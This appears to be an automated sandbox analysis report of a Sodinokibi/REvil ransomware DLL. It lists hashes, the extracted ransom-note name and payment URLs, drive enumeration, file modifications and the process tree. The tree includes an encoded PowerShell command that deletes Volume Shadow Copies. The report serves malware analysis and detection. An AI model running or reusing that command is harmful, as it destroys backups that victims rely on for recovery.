Analysis
-
max time kernel
94s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-12-2024 16:46
Behavioral task
behavioral1
Sample
2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll
Resource
win10v2004-20241007-en
General
-
Target
2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll
-
Size
164KB
-
MD5
6e3efb83299d800edf1624ecbc0665e7
-
SHA1
0bd22f204c5373f1a22d9a02c59f69f354a2cc0d
-
SHA256
2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6
-
SHA512
dd1675bb15eb8ea2933b25413271117823ad7ff38280e7f552b5201e3a5bef8607a2112df2e24f598449ebfdb570ff9458aba0314ed8819dd4d774ea855e9ad2
-
SSDEEP
3072:FWeI5JXJRGpUhFiWjmfb+HP+rnRfU9ECs5p:FWe29/GuzjmfCHWtUiCs5p
Malware Config
Extracted
C:\Users\o72b6-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/6E45BE602737972C
http://decryptor.top/6E45BE602737972C
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Sodinokibi family
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\D: rundll32.exe -
Drops file in Program Files directory 24 IoCs
description ioc Process File opened for modification \??\c:\program files\TraceEdit.emf rundll32.exe File opened for modification \??\c:\program files\UnblockPush.mp3 rundll32.exe File opened for modification \??\c:\program files\UnblockRename.dot rundll32.exe File created \??\c:\program files\o72b6-readme.txt rundll32.exe File opened for modification \??\c:\program files\RestoreCompress.mht rundll32.exe File opened for modification \??\c:\program files\ConnectUse.mp2v rundll32.exe File opened for modification \??\c:\program files\ExpandDeny.jpg rundll32.exe File opened for modification \??\c:\program files\ImportPublish.asp rundll32.exe File opened for modification \??\c:\program files\UnpublishOut.jfif rundll32.exe File created \??\c:\program files (x86)\o72b6-readme.txt rundll32.exe File opened for modification \??\c:\program files\CompressUndo.mp2 rundll32.exe File opened for modification \??\c:\program files\LimitRestore.3gp2 rundll32.exe File opened for modification \??\c:\program files\PopRemove.ogg rundll32.exe File opened for modification \??\c:\program files\UpdatePing.midi rundll32.exe File opened for modification \??\c:\program files\ExportSet.xltm rundll32.exe File opened for modification \??\c:\program files\ImportWrite.mpeg2 rundll32.exe File opened for modification \??\c:\program files\ConvertToSuspend.pptm rundll32.exe File opened for modification \??\c:\program files\MeasureDisconnect.M2TS rundll32.exe File opened for modification \??\c:\program files\MergeImport.mht rundll32.exe File opened for modification \??\c:\program files\OpenProtect.mid rundll32.exe File opened for modification \??\c:\program files\RegisterDeny.ps1xml rundll32.exe File opened for modification \??\c:\program files\SplitRename.vstm rundll32.exe File opened for modification \??\c:\program files\CompleteRedo.reg rundll32.exe File opened for modification \??\c:\program files\CompressNew.mpeg3 rundll32.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 536 rundll32.exe 536 rundll32.exe 436 powershell.exe 436 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 436 powershell.exe Token: SeBackupPrivilege 4268 vssvc.exe Token: SeRestorePrivilege 4268 vssvc.exe Token: SeAuditPrivilege 4268 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4936 wrote to memory of 536 4936 rundll32.exe 83 PID 4936 wrote to memory of 536 4936 rundll32.exe 83 PID 4936 wrote to memory of 536 4936 rundll32.exe 83 PID 536 wrote to memory of 436 536 rundll32.exe 85 PID 536 wrote to memory of 436 536 rundll32.exe 85 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6.dll,#12⤵
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:436
-
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3728
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4268
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
6KB
MD518f69f968e94076d97c02ede8c43f888
SHA11ad0644f4f882fe2ab6184a8e6d1aca4ff9a0aa7
SHA256af68efc3487a82c30e5c0b646232ca4c5c20951bd2fc33bcd64077bf16cf8593
SHA5125dba2bf63e15d3c435e87411fb8cfc6bf559a67be230332dc933da49e24b6f82e6c451315a3cdbb683a6eb55f16e88760900a74af0a0113013d2c86222a6c57b